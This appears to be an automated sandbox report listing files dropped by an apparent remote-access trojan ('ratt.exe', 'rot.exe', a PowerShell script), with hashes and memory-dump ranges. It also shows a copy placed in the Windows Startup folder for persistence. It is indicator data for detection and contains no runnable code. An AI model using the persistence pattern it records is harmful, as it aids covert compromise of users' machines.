C:\Users\Admin\AppData\Local\Temp\7z.dll

MD5 15bbbe562f9be3e5dcbb834e635cc231
SHA1 7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a
SHA256 ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
SHA512 769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

memory/2716-236-0x0000000010000000-0x00000000100E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7z.dll

MD5 15bbbe562f9be3e5dcbb834e635cc231
SHA1 7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a
SHA256 ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
SHA512 769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

memory/2716-232-0x0000000000400000-0x0000000000432000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ratt.7z

MD5 7de6fdf3629c73bf0c29a96fa23ae055
SHA1 dcb37f6d43977601c6460b17387a89b9e4c0609a
SHA256 069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff
SHA512 d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

memory/2716-240-0x0000000000400000-0x0000000000432000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ratt.exe

MD5 272097a6a8d17a5340a3a2b3ff518159
SHA1 5d850fe0e62d758e73d6fb5c80e89bedaa2cee02
SHA256 64d7a69d4c30a675d474b65912e790a3322fa42e74cea57e0ad6412fd63198a9
SHA512 8562ad46c7c270038435bc4ec573add285fd1b245b2232d4082cc7fc9a95fbe12dbe3d2f4c6400a1733bf20ba1ca7e15ccfbad444fe1cc15634f4e1d66a19abb

memory/536-244-0x0000000074580000-0x0000000074D30000-memory.dmp

memory/536-245-0x00000000029C0000-0x00000000029D0000-memory.dmp

memory/536-246-0x00000000029C0000-0x00000000029D0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3262de6dd1ae51d2927cf7b623937f62
SHA1 85da2b3642e8d44ef1ee75ea06ed662c21c5c8e3
SHA256 a2e9b320b46e9010e53b1f5c2d55067e4de8e0ba73d79712ba9f6b5eea0bb86c
SHA512 22430f08153e44f4a763ffed7b88b2168c02667dce27b20affc97e1cc43f027d296aed6714466e198237b536a382a9a6cddb96af06bbc9e91a91f8c699a6b55b

C:\Users\Admin\AppData\Local\Temp\Add.ps1

MD5 0df43097e0f0acd04d9e17fb43d618b9
SHA1 69b3ade12cb228393a93624e65f41604a17c83b6
SHA256 c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873
SHA512 01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

memory/536-258-0x00000000029C0000-0x00000000029D0000-memory.dmp

memory/536-259-0x000000007EF40000-0x000000007EF50000-memory.dmp

memory/536-260-0x0000000006920000-0x0000000006952000-memory.dmp

memory/536-261-0x00000000703A0000-0x00000000703EC000-memory.dmp

memory/536-271-0x0000000006900000-0x000000000691E000-memory.dmp

memory/536-272-0x0000000007CC0000-0x000000000833A000-memory.dmp

memory/536-273-0x0000000005030000-0x000000000504A000-memory.dmp

memory/536-274-0x00000000076E0000-0x00000000076EA000-memory.dmp

memory/536-275-0x0000000007910000-0x00000000079A6000-memory.dmp

memory/536-276-0x0000000074580000-0x0000000074D30000-memory.dmp

memory/536-277-0x00000000029C0000-0x00000000029D0000-memory.dmp

memory/536-278-0x00000000029C0000-0x00000000029D0000-memory.dmp

memory/536-279-0x0000000007890000-0x000000000789E000-memory.dmp

memory/536-280-0x00000000079B0000-0x00000000079CA000-memory.dmp

memory/536-281-0x00000000078E0000-0x00000000078E8000-memory.dmp

memory/536-282-0x00000000029C0000-0x00000000029D0000-memory.dmp

memory/536-283-0x00000000079E0000-0x0000000007A02000-memory.dmp

memory/536-284-0x00000000088F0000-0x0000000008E94000-memory.dmp

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

MD5 4c742b9c91ddcc8c0421d093199157f2
SHA1 a28cec7d8226914f58725c099143227a974d95ac
SHA256 ef59580d7bc7b7fb74eb22e0440d649f6bef79aed2d2c04ff4766634e6c5c513
SHA512 975731d9581cb1acc59cfab5c2ebf4eb0c1f4ece89cf1d46a426b0d49cd9891b467c8e6e6b593bf7e5e7858f48e2f70936c6d07842cfdf2f992d1b205cc82b57

memory/536-286-0x000000007EF40000-0x000000007EF50000-memory.dmp

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

MD5 45131179cf4ab2d27f0f73d189f9dac1
SHA1 c1d273423c3207b622415b4310cbe8dd13a49b44
SHA256 2ef430f06b3a31b72556cc58248f6e836e5bf646909599c6ad62b28a2e67e0e5
SHA512 ba4c0cfb79a7f00017402c9ff41f4a1b8d9bb6ee1b694c48b805d6fd8f09b38a310b3651173770f98dc3ef6b7f4f47f3b01bd0951c24f220a909d8559afd5547

memory/2856-290-0x0000000074580000-0x0000000074D30000-memory.dmp

memory/2856-289-0x0000000000940000-0x0000000000AF6000-memory.dmp

memory/2856-292-0x0000000004C70000-0x0000000004D0C000-memory.dmp

memory/2856-293-0x0000000004DE0000-0x0000000004E72000-memory.dmp

memory/536-294-0x0000000074580000-0x0000000074D30000-memory.dmp

memory/2856-295-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

memory/2856-296-0x0000000004DD0000-0x0000000004DDA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ratt.exe

MD5 6e7728def9b148ea6157b98e79267cc7
SHA1 c696f69a7268972f428d11d369fff5e80165336f
SHA256 e71a294d301fce4944f9905303f0a18beadd4572202927b6850db5da4ab287e8
SHA512 c4f69b5be9a1f5b32c1148288cea3928f4d466ec72e46d53539c110489837511f0c4527ef61b1ea6f7b28791e161e07389e0a3a1570114f37977220061b71308

memory/4748-298-0x0000000074580000-0x0000000074D30000-memory.dmp

memory/4748-299-0x0000000000780000-0x0000000000936000-memory.dmp

memory/2856-300-0x0000000074580000-0x0000000074D30000-memory.dmp

memory/4748-301-0x0000000004E60000-0x0000000004E70000-memory.dmp

memory/2856-302-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log

MD5 9a2d0ce437d2445330f2646472703087
SHA1 33c83e484a15f35c2caa3af62d5da6b7713a20ae
SHA256 30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c
SHA512 a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d

C:\Users\Admin\Music\rot.exe

MD5 44c61ecb9296e3d796806142c07e4c79
SHA1 924a1c86f7018a5c8a3494a8e895c6835f039449
SHA256 9e18722494cf37ead9422eda46dbe4b957ee548eb4c5af857d0f18a44961145c
SHA512 8259e04f3bbf744782a0134dad7e9d8053dbbc6028be7531efc0b8d38363cb1da9c6d930ed5fbb6af5581b7bd78c03f0b8a619434d841974580621854058bd9b

C:\Users\Admin\Music\rot.exe

MD5 0fef14350f4b8cd58894ea4819d0a8f8
SHA1 0bcb409e2d34ecfe97758993053aa4dbf0551b49
SHA256 a10c7775776ccdb454e2eb5219eee27418f8dcbfcdc0c046f391bc4dc2d0fb34
SHA512 cd06c58dc3ea8c5fe6a24863567dfded02d349a28fa7b8d76c94f497e6c7fb3b1a3d4e56013e3d3c8cde9f1302ec71d8c8c52e44bff1e4cfc4e184dadbe996cb

C:\Users\Admin\Music\rot.exe

MD5 de8ed5e0af6233c7df7b12c1a9aa924a
SHA1 301fe57cdbf9887033c9abe9b0d81dd8bb963d2a
SHA256 edeb233f815798cdf0eb0aea5f8b86037e200e0bc787ed8206e068806bcc95a5
SHA512 c8e21b7a9255ae7121188a96283a1c784086019ee12112c4594860d6b2bcc823a07079981a33759117829d3446ba42bf25ad51129096e9a40107ddb7821f1c20

memory/768-322-0x0000000000400000-0x000000000045E000-memory.dmp